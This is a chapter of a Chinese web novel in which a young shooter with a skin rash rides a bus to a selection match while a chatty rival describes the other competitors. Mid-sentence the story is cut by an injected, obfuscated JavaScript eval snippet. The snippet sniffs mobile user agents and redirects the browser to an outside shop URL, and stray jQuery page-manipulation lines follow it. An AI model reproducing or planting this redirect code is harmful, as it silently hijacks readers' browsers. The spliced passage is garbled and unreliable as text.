49. 集合
作品:《体坛万人迷她耳背》 第二天早上,参智语是被洗衣机吵醒的。确切来说,是被洗衣机蹦出的螺丝不小心弹晕的修理师傅。
“你没事吧!”
师傅瘫成大字躺在地上时,参妈妈在一旁着急地摇晃他。参智语路过门外,瞥了一眼混乱的场面,就走向阳台了。
今天的天气很好。
阳光刺穿了厚重的阴云,蓄势待发。
风中满是绣球的清香,参智语蹲下身,妈妈种的的盆栽又开花了。但这是今年最后一株绣球了。
绣球大致会从盛夏七月一直到开到初秋十月。家里第一株绣球花开的时候,参智语还在准备第一场市级赛。
而今天,她要去面对全新的对手。
昨天睡前,她给邵秋闯打了通电话。她问,明天的选拔赛他会回来吗。他说,他会在决赛前一天赶到。
“可不要输在资格赛了哦。”
想着那通电话最后的玩笑,参智语挠了挠小臂,从地上站起。她想,自己准备得那样充分,当然不会输在开头。
哗——
洗漱台的水龙头打开。
参智语一边用漱口杯接水,一边望向朗依的房间。房门紧闭,他应该还没醒。
专项选拔的比赛场馆在郊区。
因为南荼是省会城市,所以今天各市的参赛选手会在南荼射击队的训练基地集合,一起乘坐大巴前往赛场。
出于车辆限载的考量,每位选手只能有一名亲属陪同。参妈妈要在家监修洗衣机,陪赛的任务就落到了朗依身上。
“他应该不会忘记吧?”
参智语隐隐有些担忧,又挠了挠小臂,不小心把袖子给浇湿了。
“哈啊,早上好。”
她刚扭过头,朗依就打着哈欠推开了房门。面对问候,只有水龙头在空空流淌。
“怎么了?”
见她一动不动,他关切地走了上去。瞥见她通红的手臂,他也愣在了原地。
“好……”
“好痒啊啊啊!!!”
参智语的惨叫把修理师傅惊得从地上直接弹起。这下连陌生人也知道——
她的过敏性皮疹,降临了。
*
训练基地露天停车场,一辆停在路中间的蓝色大巴已经坐满了人。司机看了看时间,向车门边的带队教练发问。
“还没到齐吗?差不多准备走了。”
带队教练摇了摇头,点着签到表上最后一个空位,焦急地用脚点地。
“参智语……快点来啊。”
“教练!”
远处,两个人影正奔跑着靠近。
带队教练闻声走下台阶,看清那不停挥手的女孩,正是迟到的参智语。
但他觉得她十分奇怪。比方说,她戴着不应该出现于秋季的毛绒手套。
“你这样还能写字吗?”
气喘吁吁登上车后,参智语连签名的手都不禁颤抖。带队教练看她手中的笔不停在手套间滑溜,担心地问道。
“可、可以的!教练放心。”
歪歪扭扭写下名字后,参智语赶紧带着朗依逃向了后座。
由于上药耽搁了出门,他们现在没有选择的余地,要是找不到联排的二人空位,就只能暂时分开了。
“这边!这边!”
关键时刻,一个脑袋忽然出现在过道,指向了对侧的座位。对方戴着帽子,参智语差点没认出来,他是霍礼昂。
“太好了……还以为要去坐教练旁边呢。”
递还给他占座用的背包后,参智语长舒一口气,坐进窗边。霍礼昂和在过道边坐下的朗依沉默对望,显然互不顺眼。
车门关闭,教练开始发车前的最后点名。许多陌生的名字和回应在车内各处响起,参智语又探出头,左顾右盼。
“师姐她们呢?”
问话打断过道间的暗斗,霍礼昂指了指后排,“因为我说已经帮你占好了位置,她们就坐去后面了。”
参智语顺着后排望去,密密麻麻没见过的面孔都看向了她。被目光瞬间打成筛子,她擦着额头的汗水缩回了座位。
“等下车后我再和她们打招呼吧。”
“你怎么带着手套?现在才秋天。”
霍礼昂现在才发现她被裹得严严实实的双手,疑惑不已。参智语不知从何说起,被朗依先一步抢答:
“防止她挠。”
“挠?”
“哥哥,帮我过关。”
霍轻迢从霍礼昂身后窜出,用游戏机敲下他的头,他只好无奈地接过。
参智语揉了揉眼睛,还以为看到幻觉,他分裂出了一个缩小版的自己。
“那是你妹妹吗?”
“嗯,以前都是我爸陪我比赛。但我嫌他太显眼,就不准他来了。”
这倒确实。回忆起他不曾知晓的观赛日,参智语尴尬地想。
“这个姐姐就是?”
忽然霍轻迢紧紧盯上,参智语还感觉稀里糊涂,就见她被霍礼昂捂着嘴拖了回去,手舞足蹈。
“他们的感情真好。”
参智语对朗依悄声感叹。
下一刻,霍轻迢一个蹬地就用后脑勺撞上了霍礼昂的下巴,引起惨叫连连。
“漂亮的头槌。”朗依点头赞道。
教练注意到打闹的二人,将签到表翻到最后一页,紧接着就喊到了霍礼昂。
他捂着下巴答到,接下来教练念到的名字就全是南荼市射击队的队员了。
听着耳边一个个熟悉的声音,虽然没能见面,但参智语总算有了些安全感。
“参智语。”
“到!”
合上文件夹,教练招呼完司机便回到了座位。当发动机的震荡传到每个人身上时,他转过了身。
“好,那我们就发车了!希望大家今天都超常发挥!不留遗憾!”
“是!”
齐声应答消散,窗外训练基地的大门也逐渐退远。霍礼昂还在和妹妹缠斗,自顾不暇。朗依也专注在手机,认真又入迷。
参智语难得在熟人旁独自安静,恐慌随着滚动的车轮涌上,逼得她不停调整呼吸,以克制手臂加剧的瘙痒。
情绪越发低落,她沮丧地靠上了车窗。
“你就是参智语吧。”
前座,一双笑弯了的眼睛忽然出现在缝隙,和她对视。她吓得倒吸了口气。
“女生里只有你的名字我没听过,是今年才开始参加比赛的吗?”
笑眼的主人爬上椅背,露出了全貌。看上去是个和善的女孩。但问题是——
她好像说的是方言?
参智语呆呆望着她,刚才她说话的唇形在脑海中像混乱的碎片,无法拼凑在一起。她想,糟了,这下回答不上了。
“嗯,这是她第二次参加比赛。”
朗依抬起头凑进女孩的视野,参智语终于放松下来。
“哇!那她很厉害诶!”
说完,她短暂消失在椅背,似乎在翻找什么东西,弄得整排椅子都在震动。她再次出现时,参智语接过了一个笔记本。
“我叫卢早慧,从谐阳市来的。但你可能没听过吧,是一个很小的县城。我一直很羡慕你们省会市队的人。”
“真好啊,就连酒店附近都有很多好吃的和好逛的商店。要是进到省队就有工资可以带朋友一起来玩了。”
虽然不忍心打断她的自言自语,但参智语拿着笔记本不知所措,还是小声问道:“那这个……这个是?”
“啊,对不起,我跑题了!”
卢早慧拍了拍自己的脸,又笑着指向她手中的牛皮笔记本。
“嘿嘿,这是我的一点小爱好,每见到一个练射击的人就会要一个签名。说不定哪天,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030329|191541||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这里面就有人成为大明星了呢。”
参智语用余光瞥向朗依的手。从刚才开始,他一直在用手语暗中翻译。
还好卢早慧是个说话喜欢望向天花板的人,所以对此一无所知。
得知签名的事后,参智语翻动了笔记本,果真发现每一页都签满了大大小小的人名。她吃惊地抬起头:
“好厚!你见过这么多人?!”
“多参加几场全国比赛就行了呀。”
卢早慧平静地递出一支笔。参智语翻到一页空白落墨,不禁又想起方才寻找师姐时瞥见的一张张陌生面孔。
“那车上的其他人你都认识吗?”
卢早慧的视线扫向四周,像在逐个确认。等参智语签完名把本子和笔递回,她才点了点头。
“嗯,女生我都认识哦!”
卢早慧趴得更低了,用手掌挡在脸庞,瞥向后方,窃窃私语。
“像坐在你对侧后三排的那两个,到今年也才只有十岁。是一对双胞胎,于绮、于结。她们从小就一起在体校训练,任何比赛都没分开过。”
参智语从缝隙望去,依稀看见了两个扎着马尾的女孩,一人偏左、一人偏右,仿佛是为了旁人便于区分。
她们倒头倚靠在一起睡觉,脸上都戴着奇怪的印花眼罩。一对半睁的人眼。
“她们戴的是什么?”
参智语被那眼罩吸去了所有注意力,好奇地问。卢早慧琢磨了片刻,又低下头。
“百里镜你知道吧,是她们的同乡。出了很多奥运冠军的射击强县,余久市。那眼罩印的是她的眼睛,算是粉丝周边吧。”
射击强县……十岁……
参智语还沉浸在倾佩的余韵,不停在脑海反刍浮现的词汇。卢早慧激动地拍了拍座椅,极力压着声音。
“对了对了!还有那个人!我一定要告诉你!”
“不知道你上车的时候看见没。就坐在教练后面一排,是一个有点胖胖的女生,戴着很大一块玉佩。”
玉佩?
参智语回想起刚才签到,除了教练以外,确实还有个人一直盯着她的手套。她短暂瞥过一眼,那人捏着一块绿色。
“应该看见了吧。”
卢早慧翻起笔记本,在前半本中,找到了一个近乎占据整页的签名,一边展到参智语的面前,一边说道:
“她叫钟香玟。我第一次遇见她的时候,她就拿了那场比赛的冠军。”
“赛后我偷听她和教练对话的时候才知道,她刚从步枪转到手枪两个月!”
“两个月就从零练到出成绩,很不可思议吧?!”卢早慧重重敲了敲本子。
参智语听得脖子越发僵硬,连点头回应都变得艰难。但面前人倒是越说越起劲,又指向了她前方两排的人头。
“那个半丸子头的人叫富杉,你下车以后可要躲她远一点。”
“她成绩很一般但也来比选拔赛了,纯粹是因为她们市练射击的人少。”
“我特别讨厌她,每次比赛前都说什么输了就回家继承工厂的话搞心态。”
“还超级没礼貌,见到人就拉着问年纪,如果对方比她就会很开心。”
“还有啊——”
“卢早慧!把安全带系上坐好!你那样趴着很危险!”
教练从座位上站起,指着跪在椅子上的卢早慧大声训斥。她赶紧老实地缩了下去,再不敢出声。
四周忽然再次归于平静,参智语觉得自己被扔进了狭窄的水族馆。
无数缤纷、形状各异的鱼群游过、穿过她的身体,令她避让不及。
过去一直都是埋头赶路,参智语还是第一次直面了解到对手。低下头,她看着自己被手套束缚的双手,不免怀疑:
连笔都握不好的我……
今天真的还能坚持比完赛?
赢过那些人吗?

